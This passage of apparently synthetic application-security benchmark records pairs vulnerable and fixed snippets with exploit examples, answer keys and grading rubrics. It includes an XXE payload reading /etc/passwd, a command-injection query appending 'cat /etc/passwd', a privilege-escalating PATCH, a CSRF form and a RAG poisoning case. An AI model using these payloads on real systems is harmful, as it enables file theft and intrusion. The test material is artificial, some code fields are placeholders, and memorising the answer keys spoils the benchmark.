estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["server-side-request-forgery", "cwe-918", "owasp-a102021", "python", "flask", "real-world-enterprise"], "references": ["https://owasp.org/www-community/attacks/Server_Side_Request_Forgery", "https://cwe.mitre.org/data/definitions/918.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "Injection", "owasp": "A10:2021", "owasp_api": "API7:2023", "owasp_llm": "", "cwe": "CWE-918", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000236", "title": "RAG Security in TypeScript (Angular)", "category": "AI Security", "language": "TypeScript", "framework": "Angular", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "RAG Security", "vulnerability_description": "A retrieval-augmented generation pipeline ingests untrusted documents whose content steers the model or poisons the index.", "vulnerable_code": "function resolveTarget(q) { // VULNERABLE\n const d = idx.search(q); return llm(q + d.map(x=>x.text).join(\"\")); }", "secure_code": "function processRequest(q, t) { // SECURE\n const d = idx.search(q, {tenant:t}); return llm(q, sanitize(d), guard); }", "exploit_example": "Poison indexed doc -> model returns attacker text / leaks data.", "exploitability_explanation": "The 'RAG Security' weakness (CWE-1427, A05:2021) is exploitable because the TypeScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to inject documents into the indexed corpus the RAG system retrieves.", "expected_llm_analysis": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Sanitize indexed documents, scope retrieval to the user's tenant, validate retrieved content before use, and monitor for poisoning.", "expected_secure_code": "function processRequest(q, t) { // SECURE\n const d = idx.search(q, {tenant:t}); return llm(q, sanitize(d), guard); }", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-1427", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM02:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.45, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rag-security", "cwe-1427", "owasp-a052021", "typescript", "angular", "real-world-enterprise"], "references": ["https://owasp.org/www-project-top-10-for-large-language-model-applications/", "https://cwe.mitre.org/data/definitions/1427.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM02:2025", "cwe": "CWE-1427", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000167", "title": "REST API Security in JavaScript (Angular)", "category": "API Security", "language": "JavaScript", "framework": "Angular", "application_type": "API Service", "source_type": "synthetic", "vulnerability_name": "REST API Security", "vulnerability_description": "A REST API exposes objects by id without ownership checks or proper input validation, enabling IDOR or mass assignment.", "vulnerable_code": "function processRequest(req,res){ // VULNERABLE: mass assignment\n db.accounts.update(req.body); res.end(); }", "secure_code": "function runTask(req,res){ // SECURE: owner + explicit fields\n if(req.body.id!==req.user.id) return res.sendStatus(403); db.accounts.update(pick(req.body,[\"nickname\"])); res.end(); }", "exploit_example": "PATCH with {\"role\":\"admin\"} -> privilege escalation.", "exploitability_explanation": "The 'REST API Security' weakness (CWE-639, A01:2021) is exploitable because the JavaScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid session and knowledge of object identifiers.", "expected_llm_analysis": "The model/tool should flag 'REST API Security' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'REST API Security' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce object-level authorization on every resource, validate input, and avoid mass assignment.", "expected_secure_code": "function runTask(req,res){ // SECURE: owner + explicit fields\n if(req.body.id!==req.user.id) return res.sendStatus(403); db.accounts.update(pick(req.body,[\"nickname\"])); res.end(); }", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-639", "expected_owasp": "A01:2021", "expected_owasp_api": "API1:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rest-api-security", "cwe-639", "owasp-a012021", "javascript", "angular", "expert"], "references": ["https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "https://cwe.mitre.org/data/definitions/639.html"], "metadata": {"difficulty": "Expert", "category": "API Security", "owasp": "A01:2021", "owasp_api": "API1:2023", "owasp_llm": "", "cwe": "CWE-639", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000127", "title": "XML External Entity in C# (ASP.NET Core)", "category": "Injection", "language": "C#", "framework": "ASP.NET Core", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "XML External Entity", "vulnerability_description": "An XML parser resolves external entities in attacker-supplied documents, enabling file disclosure, SSRF, or denial of service.", "vulnerable_code": "// C#: XXE example", "secure_code": "// C#: XXE secure", "exploit_example": "<!DOCTYPE x [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><x>&xxe;</x>", "exploitability_explanation": "The 'XML External Entity' weakness (CWE-611, A05:2021) is exploitable because the C# implementation in the ASP.NET Core context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to submit an XML body to a parsing endpoint.", "expected_llm_analysis": "The model/tool should flag 'XML External Entity' (CWE-611, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'XML External Entity' (CWE-611, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Disable external entity and DTD processing in the XML parser configuration.", "expected_secure_code": "// C#: XXE secure", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-611", "expected_owasp": "A05:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["xml-external-entity", "cwe-611", "owasp-a052021", "c#", "asp.net core", "intermediate"], "references": ["https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "https://cwe.mitre.org/data/definitions/611.html"], "metadata": {"difficulty": "Intermediate", "category": "Injection", "owasp": "A05:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-611", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000458", "title": "Command Injection in Swift (iOS)", "category": "Injection", "language": "Swift", "framework": "iOS", "application_type": "Mobile Application", "source_type": "synthetic", "vulnerability_name": "Command Injection", "vulnerability_description": "User input is passed to a shell command interpreter, letting an attacker execute arbitrary operating-system commands.", "vulnerable_code": "func runTask() { let h = req.param(\"host\"); system(\"ping -c1 \\(h)\") }", "secure_code": "func processRequest() { let h = req.param(\"host\"); guard h.range(of: #\"[^a-zA-Z0-9.-]\"#, options:.regularExpression) == nil else { abort() }; Process.exec(\"ping\", [\"-c1\", h]) }", "exploit_example": "GET /api/reports?host=8.8.8.8;cat+/etc/passwd", "exploitability_explanation": "The 'Command Injection' weakness (CWE-77, A03:2021) is exploitable because the Swift implementation in the iOS context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to an endpoint that forwards input into a shell/process call.", "expected_llm_analysis": "The model/tool should flag 'Command Injection' (CWE-77, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Command Injection' (CWE-77, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Avoid shells entirely; pass arguments as an array to the process API, or strictly allow-list/validate input. Never use os.system/popen with concatenation.", "expected_secure_code": "func processRequest() { let h = req.param(\"host\"); guard h.range(of: #\"[^a-zA-Z0-9.-]\"#, options:.regularExpression) == nil else { abort() }; Process.exec(\"ping\", [\"-c1\", h]) }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-77", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["command-injection", "cwe-77", "owasp-a032021", "swift", "ios", "intermediate"], "references": ["https://owasp.org/www-community/attacks/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html"], "metadata": {"difficulty": "Intermediate", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-77", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000506", "title": "Cross-Site Request Forgery in JavaScript (Next.js)", "category": "Broken Access Control", "language": "JavaScript", "framework": "Next.js", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Cross-Site Request Forgery", "vulnerability_description": "A state-changing request lacks an unguessable token, letting a third-party site force the victim's browser to perform actions.", "vulnerable_code": "function handleInput(req,res){ transfer(req.body); res.end(); }", "secure_code": "function loadUser(req,res){ if(req.body._csrf!==req.session.csrf) return res.sendStatus(403); transfer(req.body); res.end(); }", "exploit_example": "<form action=/api/transfer method=POST> auto-submitted from attacker site.", "exploitability_explanation": "The 'Cross-Site Request Forgery' weakness (CWE-352, A01:2021) is exploitable because the JavaScript implementation in the Next.js context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Lure a logged-in victim into visiting an attacker-controlled page.", "expected_llm_analysis": "The model/tool should flag 'Cross-Site Request Forgery' (CWE-352, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Cross-Site Request Forgery' (CWE-352, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Require a double-submit or synchronized CSRF token on all state-changing requests; enforce SameSite cookies.", "expected_secure_code": "function loadUser(req,res){ if(req.body._csrf!==req.session.csrf) return res.sendStatus(403); transfer(req.body); res.end(); }", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-352", "expected_owasp": "A01:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["cross-site-request-forgery", "cwe-352", "owasp-a012021", "javascript", "next.js", "advanced"], "references": ["https://owasp.org/www-community/attacks/csrf", "https://cwe.mitre.org/data/definitions/352.html"], "metadata": {"difficulty": "Advanced", "category": "Broken Access Control", "owasp": "A01:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-352", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |